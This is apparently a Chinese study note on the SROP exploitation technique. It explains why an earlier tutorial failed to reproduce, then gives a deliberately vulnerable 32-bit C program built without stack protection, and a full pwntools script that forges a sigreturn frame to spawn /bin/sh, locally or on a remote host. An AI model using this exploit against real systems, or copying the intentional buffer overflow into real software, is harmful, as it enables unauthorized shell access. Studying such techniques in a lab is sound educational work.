1 概述
开始学习SROP技巧。希望找到一个简单的demo来了解SROP。找了很多资料,但都没有实作成功。
主要参考这篇文章
1. Sigreturn Oriented Programming攻击简介
https://www.anquanke.com/post/id/85810
直接拿原文中的程序测试,没有复现成功,主要的问题有:
1. VDSO的爆破不成功,GDB调试发现对应的位置没有找到对应的指令:
sigreturn syscall
int 80h
解决方法是直接在代码中加入这些gadget。
使用了这里的代码:
https://github.com/eQu1NoX/srop-poc/blob/master/poc-32.c
PS:问题在于测试的系统不一样,VDSO中syscall的偏移位置有变化
2. 漏洞代码移到了单独的函数
放到main中时,main执行到ret时会core,不知道为什么?
PS:失败的原因在于main函数的栈溢出不好搞。Main开始对ESP进行了取整,EBP-4的地方存储的是addr_of_argc。Main的结尾,ESP是通过EBP-4处保存的addr_of_argc进行恢复的。这样main函数栈溢出不成功的原因就很清楚了,EBP-4(addr_of_argc)被覆盖成了一个非法的地址,lea esp, [ecx-4]这条指令会挂;而且真正的返回地址也没有设置好(不在EBP+4)。
2 程序
#include <stdio.h> #include <unistd.h>
char buf[10] = "/bin/sh\x00";
void ret_15(void) { asm(".intel_syntax noprefix\n"); asm("mov eax, 0x77\n"); asm("int 0x80\n"); asm("ret\n"); }
int vul() { char s[0x100]; puts("input something you want: "); read(0, s, 0x400); return 0; }
int main() { vul(); return 0; } |
makefile
build:
gcc -o srop_test srop_test.c -fno-stack-protector -masm=intel -m32
3 EXP
from pwn import * import random
#context(os='linux', arch='i386', log_level='debug') context(os='linux', arch='i386')
program_name = './srop_test' binsh_addr = 0x804a020 bss_addr = 0x804a02a ret_sigreturn_addr = 0x0804843e #address of ret_sigreturn syscall_addr = 0x08048443 #address of int 80h
def exploit(p): payload = 'a' * 0x10c frame = SigreturnFrame(kernel = "i386") frame.eax = 0xb frame.ebx = binsh_addr frame.ecx = 0 frame.edx = 0 frame.eip = syscall_addr #address of int 80h frame.esp = bss_addr frame.ebp = bss_addr frame.gs = 0x63 frame.cs = 0x23 frame.es = 0x2b frame.ds = 0x2b frame.ss = 0x2b ret_addr = ret_sigreturn_addr #address of sigreturn syscall #print payload payload += p32(ret_addr) + str(frame) p.recvuntil("input something you want: ") p.sendline(payload) sleep(1) p.sendline("echo pwned!") r = p.recvuntil("pwned!") if r.endswith("pwned!") == False : raise Exception("Failed!") return if __name__ == "__main__": if len(sys.argv) > 1: p = remote(sys.argv[1], int(sys.argv[2])) else: p = process(program_name) pause() exploit(p) p.interactive() |
测试环境
Ubuntu 16.04 64
运行
4 参考文章
1. Sigreturn Oriented Programming攻击简介。